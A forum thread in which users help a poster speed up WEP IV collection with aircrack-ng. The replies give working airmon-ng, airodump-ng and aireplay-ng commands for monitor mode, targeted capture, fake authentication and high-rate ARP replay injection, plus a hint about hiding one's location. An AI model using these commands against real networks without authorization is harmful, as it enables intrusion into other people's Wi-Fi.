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Thread: Speed up IV collection

  1. #1
    Just burned his ISO
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    Default Speed up IV collection

    Is there anything I can do to speed up the process of collecting IVs? I'm running an arp replay attack and after an hour I only have 40,000 IVs. My wireless adapter is sitting right next to the router I am attacking so we can rule that out!

  2. #2
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    Quote Originally Posted by neo8820 View Post
    Is there anything I can do to speed up the process of collecting IVs? I'm running an arp replay attack and after an hour I only have 40,000 IVs. My wireless adapter is sitting right next to the router I am attacking so we can rule that out!
    Not so fast neo8820!!! Sometimes getting too close to your AP can overload the signal and give you a lot of interference...try backing away from it a little....also its possible that your channel hopping are you using....

    airmon-ng start wlan0 6

    where wlan0 is the name of MY device and 6 is the channel MY AP is on...adjust mine to match your routers settings.

    also are you using.....

    airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w (Saved File Name Here) wlan0

    where -c 6 is the channel of MY AP
    --bssid 00:11:22:33:44:55 --------->>>>00:11:22:33:44:55 I made up ..put your mac addy here of your AP
    -w Capture
    wlan0 is name of MY device...replace mine with yours.

    That should make sure your not channel hopping...

    Hope this helps!
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  3. #3
    Just burned his ISO
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    Better...up to about 75 per sec instead of 30. Any other suggestions?

  4. #4
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    Quote Originally Posted by neo8820 View Post
    Better...up to about 75 per sec instead of 30. Any other suggestions?
    Just curious...what card and chip set do you have?? And are you using aircrack v7 or v8?? If your not sure...open a console and type just

    aircrack-ng (nothing else) and read the version..If you have just v7 Id update to v8 here....http://download.aircrack-ng.org/aircrack-ng-0.8.tar.gz
    and to install......

    Stable-------->>>>> I suggest this one

    wget http://download.aircrack-ng.org/aircrack-ng-0.8.tar.gz
    tar -zxvf aircrack-ng-0.8.tar.gz
    cd aircrack-ng-0.8
    make
    make install

    Latest development sources

    svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
    cd aircrack-ng
    #and as usual
    make
    make install

    ******EDIT**************************************** ************************************************** **************************************************
    I just thought that this might help as well...some routers are just picky and slow...this may help. I got It from the aircrack main site here....http://aircrack-ng.org/doku.php?id=i...increase&s=ivs

    for picky access points:

    aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

    Where:

    *
    6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
    *
    -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
    *
    -q 10 - Send keep alive packets every 10 seconds.

    Success looks like:

    18:22:32 Sending Authentication Request
    18:22:32 Authentication successful
    18:22:32 Sending Association Request
    18:22:32 Association successful :-)
    18:22:42 Sending keep-alive packet
    18:22:52 Sending keep-alive packet
    # and so on.

    Post success and failures here and please post AS MUCH INFO as you can so I/WE can help you better.
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  5. #5
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    neo8820, try this when replaying the packets.
    aireplay-ng -3 -x 1000 -b xx:xx:xx:xx:xx:xx -h xx:xx:xx:xx:xx:xx wlan0

    also lower your rate.
    iwconfig wlan0 rate 1M

    you should now see an increase.

  6. #6
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    Quote Originally Posted by Baxter View Post
    neo8820, try this when replaying the packets.
    aireplay-ng -3 -x 1000 -b xx:xx:xx:xx:xx:xx -h xx:xx:xx:xx:xx:xx wlan0

    also lower your rate.
    iwconfig wlan0 rate 1M

    you should now see an increase.
    Yea...that -x command will send out 1000 injections per second I believe.

    Baxter.....

    the iwconfig (device) rate 1M takes the transmit power (Tx) of the card down to 1 Meter radious right?? Is there a command to boost the (Rx) or recieve power?? Just curious ...
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  7. #7
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    1 meter radious, who would want that. i think all this does is lower the data rate which makes the receiver sensitivity higher. i use this option when im upstairs , so i can keep the signal strong.

  8. #8
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    Quote Originally Posted by Baxter View Post
    1 meter radious, who would want that. i think all this does is lower the data rate which makes the receiver sensitivity higher. i use this option when im upstairs , so i can keep the signal strong.
    Hmmm...interesting...now I feel the obsessive compulsive urge to google (or at least the search button above) to know what exactly it does and how to boost the Rx power.

    *********EDIT**********

    Hmm..I think Id want that if the broadcast (Tx) rate was only 1 meter....especially if I didnt want anyone to know my location.
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  9. #9
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    i think there is a way to just boost the Rx power but i dont no how. i dont have the option to boost or lower my TXpower cause my card uses hostap drivers which doesnt support that option anymore.

    did you find any answers from google. i would search but i cant be bothered.
    i got a 1 meter ethernet cable you can lend if you like.

  10. #10
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    oh ya, how ya getting on with that Xploitz script. have you been using it. i made a few changes to it to make things easier for me cause im simple.

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